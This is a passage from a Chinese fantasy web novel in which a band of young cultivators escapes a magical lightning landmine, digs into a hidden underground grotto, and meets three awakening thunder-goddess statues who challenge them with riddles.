“这地方太古怪了!”原先还开朗乐观的曾换月一改先前出来玩的激动,“莫名其妙的石窟、莫名其妙的落花洞女还有莫名其妙的狗尸体……好烦,怎么越来越复杂了!我看我们还是早点找到石破花就回去吧!” 大伙也是这么想的,光是入口石窟就让她们耗费了许多精力,一时都忘了此行的目的是要找石破花。 明易的视线看向前方:“金姨给的地图中有标注石破花的大致位置,从石洞进来的话……似乎还有些距离。” 屠莱这时也在查看地图,移着目光似乎在找什么:“娘在一些危险的石窟上都有提示,甚至还绘制了大概的石雕模样,可为何没有这入口处也是石窟的提醒?” “是啊,”屠芜在边上看着也道,“就简单写了二字:入口,完全没说里头还会有这些遭遇……” “难道我们是第一个触发入口石窟结界的人?”顾梦真摸摸下巴,“还是说其他人都已经死在里头了,压根没机会进到石窟里来?” 明易思酌:“两种可能性都有。一是没触发结界,顺利进入;而是触发了结界,死在了里头……黑池中不是有许多人骨吗?” 曾换月觉得哪里没理顺:“可是要进入黑池中要先打开密室呀……” “是水下的结界。”石映心道,“我们见到小桃之前要先抬着轿子进入水中,那片水域既是结界,也是我们通往出口的必经之路;而那只石壁上的金光狗就是结界的出口,打破它之后其实也就是离开了结界,才能找到后边的墓室。” “而水域其实连接着黑池,死在水域的人便会被送到黑池中去。”石映心顿了顿,又补充道,“石洞中昏天黑地,水到底是黑的还是绿的便看不出来了。”当然,她这面小镜子是看出来了,黑池的水和最开始的溪水“本质”相同。 她这么一分析,大家都恍然大悟。 明易看向她:“你的意思是,石洞是将一部分的路化作了水中结界,而进入其中的契机是抬花轿送新娘?” 石映心颔首:“嗯。” “太有道理了!”曾换月捧场道,“师姐你怎么越来越聪明了!” 石映心想了想,谦虚又实诚道:“算是一种直觉?” 至于这直觉从何而来她也说不准,也许是随着照人之术的精进,她看透事物“本质”的能力有所提升;也许是……她对这个地方有格外的心有灵犀?难道和一开始感到的“呼唤”和“回应”有关? 她也没想明白,反正目前看来不算坏事。 大伙调整好状态,该吃吃该喝喝该唠唠,这么休息一会后就打算按照地图继续往里头走,去寻找石破花。可山里头有岔路,该走哪一条呢? “娘明确写了这条最近的山路很危险,有一座庞大且石雕众多的佛像石窟,如果走这条,怕是有一场硬仗。”屠莱和几人分析道,“暂且不知道那些佛像的实力,还是避开吧。” 大伙:“好。” “东边有一处石窟群,说是有很多野兽石雕,都是狮子老虎一类的猛兽,听着就很难缠,别走这处。” 大伙:“好。” “西南方毒虫遍地,又有毒草毒花,步步危机,不去。” 大伙:“好。” “对了,你们要切记,此处不可随意飞行,石窟上空有毒气笼罩,毒性未知,届时头晕转向地摔下来,又掉入哪处陷阱,祸不单行。” 大伙:“好。” “还有这条过河的水路,据说水中有食人鱼……” “回去吧,”曾换月靠着师姐,已经听累了,“回去吧,我看这里上天无路、入地无门,压根没有可以走的道!” 屠莱瞅她一眼:“方才我只是提醒某些不看地图的人要小心行事,不要随便乱跑,接下来就要说能走的道了。” 某些不看地图的·曾换月:“……哦。” “我和明易已经商量出一条能避开这些 已知危险的路,“屠莱的手指往地图上划了一下,“这么走。” 石映心歪头看:“你指的地方没路。” “嗯,”屠莱微笑,“走的就是没路的路。” 顾梦真瞪眼:“什么意思啊,我们就这么爬山路上去?” “怎么了?爬山也不会吗?”屠莱瞥他一眼,“这对我们上天入地四处搜寻草药的药神谷弟子来说是基本操作。” 好啊,这就挑衅上了!那归壹派的弟子当然不能说不行! 曾换月瞪他:“谁不会了,我们归壹派的轻功比你们强好吧!” 屠莱不和她争论,把地图收起来道:“那就决定这么走了,没问题吧?” “我有问题。”石映心举手发言,“你方才说没路的路能避开已知的危险,也就是不保证有未知的危险?” 屠莱挑眉:“是啊,你怕了?” 石映心:“你怕吗?” 屠莱微笑:“我自然是不怕的。” 石映心颔首:“好,那你走前边带路吧。” 屠莱微笑(僵硬版):…… 第204章 虽然他本来也是有这个带路的意思,但这家伙这么明摆着要他“以身试险”,怎么听都有些不爽呢。 偏偏这时候明易还善解人意地主动请缨:“屠道友,地图上的路线我已熟记,我带路也行。” “……不,我带。”屠莱木着脸转过身去,留给大伙一个决绝的背影,“你们可别跟丢了。” 曾换月笑嘻嘻:“放心放心~” 屠芜又贴心地说:“放心吧哥,还有我的灵蛇在前边探路。” 屠莱说不出“不需要”,总之就这么走吧。 这条路没有路,她们相当于是踩在山体上爬;好在几人都有轻功在身,并不那么艰难,只是偶尔落地时要小心脚滑—— “哎呦!”顾梦真紧忙抱住边上一块石头,这才稳住了身形,“好险好险……这用轻功跳来跳去的也有些累了,要不我们先歇会吧?” 大伙无异议,皆找了边上合适的石头坐下。 几人这时候已经爬入了无数石窟的地盘,只不过是在它们的夹缝间隙之中阴暗爬行,尽量避免引起那些石窟的注意,又莫名被卷入什么困境。 山间的风吹来一片清爽,这么坐在山上看风景别有一番趣味。远远望去,有些奇石像硕大的松果球,也像蜂巢,还有危险又壮丽的崖阁,像活灵活现的壁画;每一窟中都坐落着各式各样的石雕,有人有兽,想来都是些有故事的角色,立石雕于此占据一窟,算是一种青史留名。 “这些石雕都是谁做的?”石映心问屠家兄妹。 “传说在罗宝山石窟还没有变得危险之前,许多人会来此雕刻他们的崇祀的祖先或者神祇,除了凡人之外,有些修道者也会来。”屠芜将北风吹起的碎发扶到耳后,“一路爬上来是不是看见很多佛像?听说是梵音门先祖毫掷千金造就的。” 顾梦真“啊”了一声:“他们梵音洲离你们这远着呢!” 屠芜:“大概起到一个宣传招弟子的作用吧,又不是说我们药神洲的人就一定要入药神谷;其他仙门应该也有些雕像在此,说不定还有你们归壹派前身剑宗的呢。” 有的话应该也不多的……顾梦真想,她们归壹派还是剑宗的时候好像还蛮穷的欸?不是,怎么人家从老祖开始就这么有钱了啊?奇了怪了…… 休息得差不多了,屠莱站起身来打破几人的发呆和胡思乱想:“走吧。” 山上懒懒散散地立起来几条人。 屠莱瞅了打哈欠的曾某,双眼放空疑似走神的石某,皱眉苦思冥想但肯定不是在想正事的顾某,打理辫子的妹某,以及唯一正常人明易……深呼一口气又缓缓叹出,心中有些无奈。 他并没有说什么,只是转头继续走,一边探路一边麻木地想:虽然跟着一群笨蛋,但是没关系,靠谱的他会带好路的…… 咔嚓。 嗯? 什么声音? 他好像踩到了什么? 身为修仙者,直觉当然比常人要强。屠莱立刻感到有一股危机感从脚底蔓延到了头顶,下意识僵在原地不敢乱动。 他后边的明易问:“怎么了屠莱道友?方才那是什么声音?” 屠莱木着脸:“……我好像踩到了什么。” 他妹:“什么?” “不知道。” “你把脚松开看看?” 屠莱:“……不能松。” 众人皆有些疑惑,片刻的沉默之后,后边的曾换月发出一声尖锐的爆鸣:“屠莱你小子不会踩到地雷了吧!?” 这些人自然不知道地雷是什么,但听到这名字隐约就能意会。屠莱的脸色渐渐变得肃穆而苍白,他咬牙道:“你们先走,我自己想办法。” “不行不行!”曾换月立刻说,“大家都不要走了,谁知道前边还有没有地雷啊!” 石映心并没意识到什么严重性,还问师妹:“地雷是什么?” “就是……”曾换月简单形容了一下,“踩上去后松开了就会发生灾祸的东西……” “什么灾祸?” “比如爆炸之类的?”她也不知道屠莱究竟踩到了什么,但听他的形容就感觉那玩意的性质和地雷很像,“哎呀,反正就是一种陷阱;而且一般来说,有一个就会有一片,我们不要轻举妄动啊!踩上去一松开就会启动的!” 屠莱抿了抿唇,不得不承认曾换月的说法和他的感觉到的危险很像,出声提醒道:“是,我直觉不能动。” 顾梦真啧啧啧:“这玩意好阴险啊,第一次听说这种陷阱,改天我也做一个。” 屠莱:……这位道友,现在是考虑这个的时候吗? “换月,”还是屠芜为她哥着想,“这什么……地雷?可有应对的办法?我们总不能一直困在这里。” “按照剧情上的发展流程……”曾换月心说这也太为难她了,其实她只在电视剧上看过这种情况啊,她努力回想道,“这个时候就进入了煽情环节,屠莱可以开始交代遗言了。” 屠莱:…… 曾换月:“然后我们往后撤退,等会他就拼命一搏地能跳多远跳多远,我们就震撼地观赏爆炸的景色,留作一辈子的心魔。” 几人:…… 曾换月:“接着屠芜开始哭,我们就站在边上肃穆地安慰她……” 屠芜:…… “够了!”屠莱忍 无可忍道,“先务之急是你把嘴闭上!” 曾换月抿住嘴巴,没过两瞬又张开,对着屠莱铁青的脸色道:“哦!我想到了一个好主意。” 屠莱冷笑一声:“怕不是把我的后事安排都想好了?” “不是啦。”曾换月道,“按照地雷的原理,也许我们可以在你的脚底和地雷中间插入一个片状的支撑物,然后代替你踩着它……但是你要注意控制好力度,不能松懈哦。” 这个办法听起来靠谱多了,几人就帮着在边上四处搜寻。最后是明易在石头上削了一块石头板下来,小心地垫入了屠莱的脚底板和地雷中间;接着让顾梦真变出一个呆头呆脑小木人(屠莱版),代替他踩着。 如此这般,总算脱身的屠莱松了口气,脸色还是心有余悸的苍白:“前路危险,我们换条路走。” “等等。”石映心却道,“我们离远点,先看看松脚之后会怎么样。” 看看就看看呗。于是她们离远了一些,再让顾梦真指挥小木人抬脚,大伙瞪大眼睛、屏气凝神地看着—— “轰!” 只听天空猛地一声巨响,凭空降下一道闪雷,快准狠地劈中了呆头呆脑小木人(屠莱版),瞬间将他劈成了黑炭,身形不稳地往边上一倒,变回了小木人的原型。 “我的老天奶……”曾换月咽了下口水,“这是真·地雷。” “又报废一个呜呜。”顾梦真朝某人伸手,“给钱。” 屠莱自知理亏:“事后统一结算。” “行。” 这时候屠芜道:“既然是踩中了地面才会触发地雷,那我们低空飞过去如何?” “我试试。”明易召唤出寒竹剑就要御剑飞行,结果快飞到屠莱踩中的地方第一个地雷附近,寒竹剑就落了下来。他只好收起剑走回来,朝几人摇头道:“前方应是一处结界,禁飞。” 这种禁飞结界她们也遇到不少了,但回回都觉得很恶心,就明摆着不让你走捷径过关嘛…… 曾换月吐槽道:“难怪这里死了这么多人,估计到处都是这种禁飞禁干嘛的限制结界,连我们修仙者都难过,何况那些普通凡人?” “那怎么说,”顾梦真问,“走别的路吗?” 屠莱客观分析道:“附近没有可以调转的路,要换路只能回到原点。” “啊?”曾换月显然有些不愿意,“那我们这大半天不都白走了?” “问题是,”石映心提醒道,“换条路也会有别的危险,所以我觉得还是继续走好了。” 屠芜颔首道:“不错,我也是这么想的。总归是有未知的风险,而如今前方的危险我们已经知道了,不如花点时间想想应对办法……比如顾道友方才的小木人是否可在前方为我们探路?” “可是你们刚才也看到了,那雷一下就把我的宝器给劈死了;还不知道有多少个地雷呢,问题是我也没有那么多试错的呆头呆脑小木人啊,感觉不够它劈的,”顾梦真把手一摊,“真不是我心疼灵石。” 屠芜秀眉微皱:“说的也是……” 这时候明易问他二师弟:“呆头呆脑小木人最高可抵什么境界的修为一击?” 顾梦真两眼清澈地看着大师兄:“就是你的修为啊大师兄,当时我做的时候要设定极限抗揍值,不是还去找你帮忙了?” 明易:…… 他贵人事忙,哪里还记得这种随手一帮的小忙? 大伙又知道明易是几人当中修为最高的,且不说当时他帮顾梦真设定什么抗揍值的时候用了多少修为,总之那呆头呆脑小木人是扛住了元婴后期剑修的一击,但扛不住地雷。 “应该还有别的办法,”明易思酌道,“不可能只有凭运气这种途径。” 他说得有道理,但放眼望去,这附近就是平平无奇的山路,要不是屠莱踩到了地雷,谁想到这里居然有陷阱呢? 大伙一时陷入沉思。 ……除石映心之外。她左看看右看看伙伴们苦恼的面色,自觉这是她发挥作用的时候了,虽然不知道有没有用,她还没照过“地”呢,但浪费一次机会又如何?若是运气好点,说不定能直接照出地雷的排布,届时就可以避过。 于是镜灵对着前方的空地眨了一下眼睛—— 第205章 当然是看不到地雷的分布的,不然也太作弊了哈;只是也不算没有收获,她瞧见了地底下翻滚着一团……灵气? 那是什么? 好了,现在组织一下语言,尽量有理有据一些……镜灵想了想:“把地挖开看看吧。” 沉思中的众人:? 怎么回事,这没由来的一句? 然而她总是有无脑跟随者·小师妹:“好啊好啊,那就听师姐的,挖开看看好了。” 屠家兄妹:啊? 这时候顾梦真也反应过来了:“唉,真是没办法,那就挖吧。” 屠家兄妹:不是,发生了什么?到底怎么就进展到要挖地了?? 屠芜试图理解:“难道你们是觉得……这地雷埋得浅,所以我们可以挖个地道过去?但事情应该没有这么简单……吧?” “我师妹的意思是……”还好某些人有这样大脑能高速运转的明易当她们大师兄,“结界并非凭空而生,定是有什么灵物或者宝器在附近触发;其他地方也许是石窟石雕,可此处空无一物……可能是地下暗藏玄机。” 五人恍然大悟。 石映心对大师兄投去欣赏的眼光:“原来是这样。” 屠家兄妹:……等等有哪里不对劲。 但是明易说的话很对劲,反正他们也不愿意无功而返,所以很快就决定挖个地道出来,就算找不到什么玄机,也可以试着通过地道越过这片结界……虽然听起来简单到有些异想天开,但无所谓,人生重在尝试嘛。 顾梦真掏出了几把“事半功倍铁铲”分给大伙,几人虽然万分不解他怎么会炼制这玩意,究竟有什么用处呢?但一挖起来纷纷很惊喜:“哇,真的好轻松哦!”一时很有干劲。 趁着他们忙碌,明易把师妹拉过来问:“映心,你照到了什么?” 石映心如实相告:“只照到地下有灵气,其他的看不见。” “阴邪之气?” “好像不是。”石映心想了想,“像雷的模样……对了,有些像那颗青蛋。” 明易便想起了前情提要,是她们去天机阁执行任务是发现的那颗天神女魃的青蛋;说来也巧,当时也是在被劈开的地下发现的,难道其中有什么关联? 他正思酌间,那边二师弟叫唤起来:“大师兄你怎么偷懒呢!” 明易:…… 只好过去挖地了。 她们是按照石映心的设想挖的,先是在第一颗地雷的三步远外挖了一条能供几人同时待着的长道,接着在长道里距离地面一尺开始挖。挖着挖着,顾梦真忽然停住了动作,语气莫名小心起来:“喂喂,你们过来听听,这个后边……好像是空的?” “空的?”屠莱走过去用铲子敲了敲,果真听到土墙后头有隐约的回声传来,“还真是。” 几人肉眼可见地兴奋起来,就像是挖井时马上要看到迸发的井水;但动作却要放得更小心一些,又怕后头冒出什么妖魔鬼怪。 随着一声“咔嚓”,土块掉落,有些昏暗的地道里投射进来一道紫光。 “通了通了!”光线照亮了顾梦真的灰头土脸,他兴奋地将那个通了的洞继续挖大,大伙也上去帮忙。没过一会儿,就挖出了一个一人高的地洞来,她们得以窥见面前的地下石窟。 没错,原来还是石窟。她们对照着地图千方百计地想要逃离石窟的影响范围,结果谁知空无一物的地面之下会藏着一个地下石窟呢? 曾换月看到那石窟中的石雕,简直要笑出来了,当场就想高歌一曲:“怎么也逃不出~~花花的石窟~~原来我是一只~~” “怎么突然唱歌,喝醉了吗你?”顾梦真奇怪地瞅她一眼,“还不赶紧进来。” “……唉!” 进石窟总比碰运气踩地雷好,这是她们商量后的决定,确实也是没招了。 几人又是赶路又是过关还要挖地,这一番折腾得灰头土脸、狼狈不堪,精疲力竭;外头的天也黑了,石窟里边泛着紫光,虽然不知道哪里来,还有些阴森,但比外边要明亮一些。 大伙进了石洞,累得压根不想理会里头的石雕。首先是要坐下来休息,然后用澄净诀把自己清理干净,如此放空了一会之后,才有心情理会其石窟中的其它玩意。 “好累啊,”甚至曾某还不想站起来,“要不我们明天再出去吧,这里头避风避雨还挺舒适,先睡一晚再说。” 非常不尊重头顶的地雷。 有人不想动,自然也有人不敢松懈,比如可靠的大师兄明易,早就起来打量周遭的景况了。 这地下石窟神神秘秘的,不显山不露水,只埋会死人的地雷;她们能找到这也算是一种“幸运”。石窟内规模一般,大概是一个村中寺庙的大小,但仅有一个空间,东西不多,最重点的是正中央立着三座莹莹发着紫光的石雕。 先说中间这座:是一位女子的模样,朴素打扮,面容温和娴静,一看就很善良。边上的石碑上刻着她的身份:黄帝元妃嫘祖。 归壹派四人皆是一愣,这会头上已经冒了一个问号。 再看左边那座:龙头人身,体型壮硕,身着铠甲,右手举着一个大锤子,腹部明显鼓起,到此为止都很像一个中年男人,但往上一瞧,石雕的胸部比腹部更丰隆,原来是个女子。边上的石碑上刻着:雷神丰隆。 这位也还算有个人样吧,最后看右边这位:好长的足,好大的嘴,好瘦的身子,形状就像是干瘪的四脚兽,没错,比起人更像是会双脚走路的兽,实在算得上恶心了。祂边上的石碑上刻着:母头雷。 母头?那应该也是位女子? 整体看下来,三座石雕呈现了一种越来越不像人的趋势。 几人打量过后,自然要讨论起来;归壹派四人最在意那座嫘祖的雕像,这也是她们唯一有相熟的信息的。石映心见屠家兄妹都是若有所思的模样,便问道:“这三座石雕一起摆在这个石窟中,难道她们之间有什么共同点?” 顾梦真摸摸下巴:“虽然除了中间这座以外其它两个都很奇怪,但共同点应该都是……女子?” “都是雷神,”屠莱道,“三位都是药神洲有些名头的雷神。” 顾梦真:“三位都是?这么多吗?” 屠芜颔首表示同意:“不同地域不同种族一般会祭祀不同的雷神,像我们螺族祭祀的就是嫘祖,平时求风调雨顺。” “啊?”曾换月指了指嫘祖的雕像问,“这个嫘祖是谁啊?黄帝元妃是什么意思?” 屠芜反倒还有些奇怪这个问题:“黄帝元妃自然是黄帝的妻子的意思。” 归壹派四人:? 明易:“抱歉我多问一句,你们口中的黄帝是……” 屠莱理所当然道:“姬有熊啊,你们居然不知道吗?” 四师兄妹面面相觑,一时不知说啥。石映心半恍然道:“原来你们这的姬有熊已经是男的了。” 屠芜听着话很迷惑啊:“什么叫‘已经是男的了’?映心,你这话从何说起?” 石映心微微摇头:“说来话长。” 屠莱:“你长话短说。” 石映心满足他:“总之结论就是姬有熊是女子,后人将她篡改了性别;别问为什么,短说不了。” 屠家兄妹只觉很离谱,但见她一脸淡然的笃定,竟然有些怀疑自己。屠芜问:“照你这么说,那嫘祖是谁?” 曾换月道:“你们不是说她是姬有熊的妻子吗?” 屠芜:“可你们又说姬有熊是女子,那嫘祖是哪来的?” 曾换月想到莫名其妙被拉给帝俊当老婆的羲和跟常曦,猜测道:“有没有可能本来就有这么一个人,但她其实和姬有熊没关系呢?” “不太可能。”屠莱微微摇头,“嫘祖的出现就是以黄帝元妃的身份,除此之外没有其他传闻。” 石映心点评:“感觉像凭空捏造的。” 说起凭空捏造,明易便想到了什么:“几位可还记得盘瓠棺材板上的故事?” 石映心在众多要素中精准意会了他大师兄的意思:“记得,蛊师说要凭空给盘瓠捏造一个妹妹,但是盘瓠说不要妹妹,于是他们将干脆将女娲的功绩占为己有。” “不错,”明易微微颔首,“既然如此,有没有可能这位嫘祖其实也是一个虚构的人物?” “很有可能。”石映心应和一声,还看向屠家兄妹道,“真巧这位嫘祖是你们祭祀的雷神,真巧你们老祖宗也很擅长做这样张冠李戴的事。” 屠家兄妹:……真是真巧哈。 “不过……”屠芜奇怪地问,“为何要虚构这样一个人物?” “既然你们说她是依附着姬有熊的身份而诞生,那原因与姬有熊分不开关系。”明易推测道,“难道她身上承载着姬有熊的某些特质或是名誉?” 屠芜:“她是雷神啊。” 明易:“姬有熊能呼风唤雨,沟通神祇,既然有这般本事,想来当个招雷也不在话下。有传说她在与蚩尤大战时为了克敌制胜,使出浑身解数,其中就有包括发挥雷电之力。” “照你们的说法,”屠莱本来皱起的眉毛微挑,“嫘祖是后人给黄帝杜撰的妻子,但黄帝原先是女子……那么要让她成为男人的话,配个妻子之后仿佛就是证据确凿。而身为黄帝的妻子,她必须有些本事,于是给予她一些天赋……” “事实上,”屠芜打断她哥,“她的天赋就相当于是黄帝的天赋,并没有太大区别,毕竟世人熟知她是以黄帝元妃的身份。” 第206章 “所以……”曾换月混乱地听着,听到这终于明白了,“你们螺族祭祀的狗神是假的,雷神也是假的。是这个意思吧?” 屠家兄妹:…… 虽然她们并不虔诚地崇拜这两位,但谁叫自己是螺族人,听着很有些羞耻。 “没事没事。”顾梦真忍着笑安慰道,“反正嫘祖也是黄帝分化而来,就当做你们拜的是黄帝也行……噗嗤,哈哈哈哈哈!” 屠家兄妹:…… “咳。”真是越探究越有名堂,屠莱试图转移话题,“所以立三位雷神的石雕在这,此处其实是个雷神石窟?” 明易这时候问:“二位道友,雷神在你们螺族可有什么寓意?” 两位屠道友对视一眼:“不清楚啊。” ……行行行。 曾换月哼哼一声:“不过都是雷神,难怪地里埋地雷呢……话说回来,我们要怎么出去啊?难道再从对面挖一个地道出去吗?” 怎么想都不会这么简单。 顾梦真琢磨着:“这雷神石窟藏在地下这么隐蔽,肯定有什么宝贝……” 曾换月瞅他一眼:“福祸相依,有宝贝的地方就有危险!” “我就随口说说嘛。”顾梦真撅了下嘴,“那怎么样,现在就开始挖地道?” 没人回应他。于是他看向大伙,却见几人都有些神色复杂;顾梦真便明白了,其实大家的心思都是一样的,一方面呢担心危险所以想赶紧出去,一方面呢…… “来都来了。”石映心说,“不如你们挖地道,我随处看看?” “好,”屠芜立刻答应下来,“我们能可以双管齐下。” 曾换月明白了:“就是一边作死一边逃生呗。” 没错是这样的。 最后是男子组去挖,女子组在石窟内四处探查。 石映心记得她在地上的时候照见了里头有什么在发光,来了地下,只看到三座发着紫光的石雕……要不她再照照?只是这里有三座石雕,先照哪个呢?这三位她都不认识,屠家兄妹就只是认识,反正大伙都不熟。 算了,镜灵想,传统的选择题只能选一个,但她身为有技能的镜灵,直接全选就是了。 于是乎,石映心稍稍往后退了一步,与三座雷神石雕拉开了距离,在保证一眼能全部照到的情况下,她对着前方…… 小师妹注意到她:“师姐你站那干嘛?” 眨了一下眼睛—— 轰! 猛地一声巨响从头顶传来,众人皆是一吓,怔然抬头看去,似乎石顶间有一道雷光闪过,很快有碎石接二连三地落下,石窟中乍然漆黑一片,下一瞬又恢复了原先的昏暗。 挖得认真的顾梦真抬起灰头土脸:“怎么了怎么了!发生什么事了?” 曾换月急忙跳到她师姐边上:“搞什么搞什么!闹鬼了吗?” 疑似罪魁祸首·石映心:挠挠脸。 咔嚓。 “方才我们三人什么都没做,”屠芜表示她们组的无辜,“是不是你们挖洞挖到什么了?” 咔嚓。 “没有。”屠莱摇摇头,“我们只照常挖着。” 咔嚓。 明易看向石映心:“可有发现什么异样?” 石映心抿了下唇,不能说没有吧,只是 …… 咔嚓。 “喂,你们有没有听到什么声音啊?”曾换月抱着师姐的胳膊,竖起耳朵细细倾听,“好像是……咔嚓?” 咔嚓。 “我去,你们快看石雕,”顾梦真蹦跳了起来,指着三人身后道,“石雕裂开了!” 大伙纷纷望去,果真见那原来不算新但起码很完整的三座雷神石雕上都出现了裂痕,密密麻麻地如蚕丝一般缠绕着石像;很快又听见一声咔嚓,这些严丝合缝的裂痕中挤出了星星点点的紫光,仿若里头有活的生物将要破茧而出。 但问题是,这不是茧,也不是蛋,只是石头啊。 所以里头到底有什么呢? 这一瞬间,曾换月的脑海中闪过无数凶杀案:镜头拉近,一双手撕开布娃娃的棉衣,打开紧闭的行李箱,锤落石雕的表层……画面中很快便会出现一具血淋淋的苍白尸体。 每到这时候,她就会眯起眼睛,再从手指的夹缝中窥视,正像此时她躲在师姐的身后,和危险隔着一个屏幕,那些恐怖看得见却摸不着。不过……曾换月低头望去,怎么感觉师姐手中的帝血剑有些躁动呢? 师妹都发现了,石映心自然不可能没察觉,她死死地捏着帝血剑,让它无法有更多的动作。 不知道这把剑到底想干什么,总不能任由它乱来,要是捅到什么脏东西怎么办?还不知道石雕之中的是什么呢…… 不过很快她便知道了答案,因为随着无数紫光从石雕里争先恐后地挤出,那被光照透的、仿佛脆若薄冰的石面终于“砰”地一声尽数倾泻而下,噼里啪啦地掉落在地上,打破了众人等待的沉默。 她们这下是看得一清二楚,石雕之下还是石雕,只不过—— 是会动的石雕。 在等它破壳的时机,大伙的手中早已经准备好了武器;不过身为不速之客,在石窟主人动手之前是不便先下手为强的,不然太不礼貌。于是几人就眼巴巴地紧看着三座石雕在那缓慢地激活身躯。 顾梦真抽空用余光瞥了眼还没挖多少的地道,心想要不现在继续再挖挖…… 但不等他动手,嫘祖石雕说话了:“来者……何人?” 这是个有些僵硬和卡顿的女声,无悲无喜。石映心等人听着觉得新奇古怪,好像哪里搭错了筋;如果让曾换月来形容,就是有些像现代机器人的音调,她恍然以为自己穿越时空了呢。 几人一时沉默,还是明易开口道:“叨扰阁下,我们只是路过。” 嫘祖石雕:“是谁唤醒了我?” 大伙面面相觑,曾换月往边上一指:“难道是他们挖地道吵醒你们了?这……他们也不是故意的!” 挖地道三人组:…… 疑似罪魁祸首·石映心:抿住嘴巴。 嫘祖石雕缓慢地转过去脑袋要看那边,这时候丰隆石雕仿佛才接收到了讯息,音调好大声地说:“只是路过?你们这些不速之客毁了我的住所!” “我们不是故意的,”屠芜道,“只是地上很危险,四处埋了地雷,我们便想挖个地道,没想到地下是三位的……住所?” 丰隆石雕:“呵呵,雷神头上岂是谁都能随意践踏的?” 几人:……这就是你们埋地雷的理由? “算了,算了。”就在此时第三位母头雷石雕也活了,是个有些年迈的声音,“我看她们也不是有心的。再说我们这空落落的什么也没有,她们刻意来此做什么呢?不过……” 她话锋一转道:“轻易地进来了,可不是那么好出去的。” 听前面半句还以为这位最不像人的雷神很好说话呢,结果还是搁这等着她们。屠莱挑眉道:“你们想做什么?这里打起来不太方便吧,到时候毁的是你们的老巢。” “和你们这些小孩打架多没意思。”丰隆将大石头锤子往肩上一搁,龙嘴一勾,“让我们来考考你们,若是回答对了,就送你们上去;若是错了……呵呵,先担心担心你们脆弱的小身板吧,哈哈哈哈!” 大伙自然是不乐意打架的,奔波这一天她们也很累了,若是能轻松地动动嘴皮子回答问题后就过关,自然是最好不过。 更何况…… 某三人的心中默默地偷笑:有映心(师姐)在,有啥好怕的? 不过游戏开始前还要先搞清楚规则,明易严谨地问:“请问三位共有几道问题,又要答对几道才能放我们出去?” “三人共三个问题。”嫘祖说,“答对两道便能送你们出去。” “若是都答对了呢?”石映心问,“可有奖励?” 母头雷石雕哈哈一笑:“你怎么不问没答对的惩罚?” 她怎么会答不对呢?算了,给她们点面子:“什么惩罚?” 母头雷石雕道:“先不说惩罚,怕吓到你们这些小孩;至于奖励嘛……嫘祖,你说送她们什么好?” 嫘祖客气地问:“你们想要什么?” 啊,这是可以问她们的吗?那就不客气了啊!顾梦真跳过来:“自然要你们最宝贵的宝贝!” 嚯,真是狮子大开口。明易几人都觉得他是开玩笑呢,自己人都没当真,但三位雷神竟没有恼怒,反而默契地笑了起来,一人头一龙头一不像人的头笑得都有些诡异。 母头雷石雕道:“小伙子,最宝贵的宝贝我们有,只怕你要不起。” 顾梦真露出贪婪的期待:“你们只管给,要得起要不起再说吧。” 这时候明易察觉到一些不对劲,正想把二师弟的话收回来,但见对面三神似乎提起了很大的兴致;他心中有些疑惑,下意识看向石映心,见她面色若有所思,便压下了到嘴边的话。 “哈哈哈哈哈!好啊,那就这么说定了。喂,金昆,”丰隆朝母头雷石雕一抬下巴,“你先来。” 原来母头雷石雕叫金昆:“好啊,问题只说一遍,你们可仔细听好了……” “且慢。” 嫘祖忽然发话,看向石映心道:“你……闭上眼睛。” 石映心:个_个 她师妹师兄:OO! 屠家兄妹:OO? 嫘祖没多说,只淡然道:“我们只做公平的交易。” “师姐……”曾换月凑过来小声道,“她怎么……哎呀,现在怎么办啊?” 顾梦真一改方才的自信,压根不怕打脸,认怂道:“那要不算了算了,我们不玩了。” 石映心微微摇头:“不玩了也不会轻易放我们出去。” 三人于是看向大师兄。 第207章 明易思忖片刻,瞅了眼投来疑惑视线的屠家兄妹,朝师弟师妹道:“走到这一步,也只能放手一试了。” 三人:说的也是! 于是曾换月又取出了她的月白色的眼纱长带给她师姐戴上。屠家兄妹虽然心中疑惑,但明白此刻不是多问的时候,便压下困惑在边上非常配合。 见状,金昆满意地微笑着说出了她的问题:“早年我在人间游历时曾遇到过一个男人,他来找我,说是遇见了爱情难题,想求个答案……” 曾换月听到这就有问题了:“你们雷神怎么会在人间当江湖骗、咳,算命师傅啊?” 金昆挥挥手:“这只是一种化身,不必在意,重点不在这。” 明易:“请说。” “我观此人命格,基本上一辈子都会感情不顺,遇人不淑;结了婚后更是会大难临头,处处忧心,还有多方关系介入的可能。”金昆说,“于是我劝此人,你想过好日子的话,最好不要碰婚姻。” “谁知这人却对我说,他与他娘子恩爱多年,关系一直非常要好,二人如胶似漆;他娘子温柔体贴,善良大方,对他有求必应,还给他生下了一对儿女……听到这我感到奇怪,为何此人的爱情与他的命格对应不上呢?” 说到这,金昆朝几个听得入迷的小孩扬起一个神秘的笑容:“回答吧,这就是我的第一个问题。你们有三次提问的机会,我只会回答是或否,三次之后给出你们准确的答案。” 六人:OO 曾换月 以为自己在玩海龟汤呢,这不纯猜吗?还只有三次提问机会。 顾梦真则是有些遗憾道:“要是天机阁的道友们在这就好了,这算命问题该问她们啊!” 药神谷的两个道友:“真是对不住了哈。” “请稍等,”明易对三位雷神说,“我们需要商量一下。” 金昆表示:“你们随意。” 六人围成一个圈,混乱地探讨了起来: “所以就是一个命中婚姻感情不好的男人却得到了幸福的感情,问为什么?”屠芜简单总结了问题,并且提出了自己的见解,“也许是他好善乐施,行善积德,好人有好报?” “哼,”她哥冷笑一声,“世上得不到好报应的好人多了去了。” 屠芜白他一眼:“那你说。” 屠莱便道:“即使是厄运也要等时候,我看是他还没到倒霉的时候。” “不对啊,”曾换月有疑点,“方才金昆说了,他和他娘子恩爱多年了,怎么可能还没到倒霉的时候?而且命格上是一直感情不顺哦!” 屠莱一耸肩:“我也只是猜测罢了。” 这时候明易道:“答案也许藏在问题中,金昆的话中有些相悖的地方。若是这个男人当真如他所说的幸福美满,为何会去找算命师傅,说自己遇到了爱情难题?甚至到了求助他人的地步,看来这难题不小。” “那么,”石映心摸了摸自己的眼纱,“一个爱情幸福的人会有什么难题呢?” 曾换月现在恨不得把师姐的眼纱扯下来,她摁着自己的手,叹了口气道:“这知道啊,我又没谈过恋爱……你们谁谈过?” 屠家兄妹:“没有。” 二师兄:“没有、” 三师姐:“。” 大师兄:“……也许是,患得患失?” “有可能诶?”曾换月没察觉某二人转瞬即逝的古怪神情,“你们有其它方向的想法吗,没有就先问这个?” 几个没谈过恋爱的自然没有意见。于是明易先问了金昆:“是否和患得患失有关?” 金昆微笑:“是。” 几人都松了口气,自觉离正确答案迈进了一步。 